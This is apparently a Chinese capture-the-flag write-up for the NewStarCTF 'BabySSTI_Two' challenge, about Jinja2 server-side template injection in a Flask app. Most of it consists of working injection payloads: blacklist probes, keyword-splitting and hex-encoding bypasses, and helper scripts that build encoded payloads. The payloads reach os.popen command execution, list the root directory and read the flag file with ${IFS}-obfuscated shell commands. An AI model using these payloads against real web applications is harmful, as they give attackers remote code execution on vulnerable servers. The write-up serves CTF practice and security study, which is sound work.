# [NewStarCTF 公开赛赛道] BabySSTI_Two
# 0x01 测试黑名单
SSTI / 沙盒逃逸详细总结 - 安全客 - 安全资讯平台 (anquanke.com)
细说 Jinja2 之 SSTI&bypass - FreeBuf 网络安全行业门户
?name={{1+1}} # + 过滤
/?name={{"hj"}} # "" 过滤
?name={{'~'}} # ~ 过滤
/?name={{'j s'}} # 空格过滤 单引号可以使用
?name={{'a.b'}} # . 可以使用
?name={{'a[]b'}} # [] 可以使用
?name={{'a()b'}} # () 可以使用
?name={{'()__'}} # __ 可以使用
?name={{'popen'}} # popen 过滤
?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
# popen、eval、system 过滤
?name={{lipsum[request.args.t1][request.args.t2][request.args.t3]('os').popen('ls').read()}}&t1=__globals__&t2=__builtins__&t3=__import__
# 绕过 popen 通过 base64 编码 不可行
['cG9wZW4='.decode('base64')] #popen
['ZXZhbA=='.decode('base64')] #eval
("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')) #__import__('os').popen('ls').read()
?name={{lipsum.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}}
?name={{joiner.__in''it__.__glob''als__.__bui''ltins__['__im''port__']('os').popen('ls').read()}}
# 可执行
?name={{[]['__c''lass__']['__ba''se__']['__subcl''asses__']()}}
# 利用脚本跑出利用函数位置
{{().__cl''ass__.__bas''es__[0].__su''bcl''asses__()[177].__in''it__.__glob''als__.__bu''iltins__['open']('ls').read()}}
?name={{[].__cla''ss__.__ba''se__.__subcla''sses__()[117].__in''it__.__glo''bals__['__built''ins__']['__imp''ort__']('os').__di''ct__['pop''en']('ls').read()}}
/?name={{''['__cla''ss__']['__bas''es__'][0]['__subcl''asses__']()[117]['__in''it__'].__glo''bals__['nepop'[::-1]]('id').read()}}
# 0x02 绕过测试
# __ 黑名单绕过
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__
# [] 绕过 getitem() 用来获取序号
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
# encoding=utf-8
str1 = 'popen'
res = ''
for i in str1:
res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])
for i in range(len(str1)):
print(str(hex(ord(str1[i]))),end=',') # \x70\x6f\x70\x65\x6e
popen 绕过失败
SSTI 注入绕过 (沙盒逃逸原理一样) - 冬泳怪鸽 - 博客园 (cnblogs.com)
?name={{lipsum.__glo''bals__.__bu''iltins__['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk='.decode('base64'))}}
失败,不知道什么原因
https://blog.csdn.net/weixin_54515836/article/details/113778233
# 发现
166 <class 'warnings.catch_warnings'>
#调用commands进行命令执行
?name=
{{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}
?name={{lipsum.__glo''bals__.__buil''tins__['__import__']('os').open('ereh_ni_galf/'[::-1],'r').read()}}
# 0x03 Rce success
尝试全 hex 编码 ,数据构建脚本:
# encoding=utf-8
text = "{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}"
print(text.encode())
enc = "{{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}"
i = 0
while i <= len(enc) - 1:
if enc[i] == "'":
print(enc[i], end='')
k = i + 1
while enc[k] != "'":
print('\\x' + str(hex(ord(enc[k])))[2:], end='')
k += 1
print(enc[k], end='')
i = k+1
continue
print(enc[i], end='')
i += 1
# 尝试全hex 编码
?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
======> # 方便编码使用
?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
======>
?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}
name={{''['__class__']['__base__']['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['read']()}}
====>
?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}
# 发现成功读取 app.py
Welcome to NewStarCTF Again, Dear from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
t = Template("
# 读取根目录
'ls${IFS}/'
Welcome to NewStarCTF Again, Dear app
bin
boot
dev
etc
flag_in_h3r3_52daad
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
# getflag
'c$@at${IFS}/fl$@ag_in_h3r3_52daad'
?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}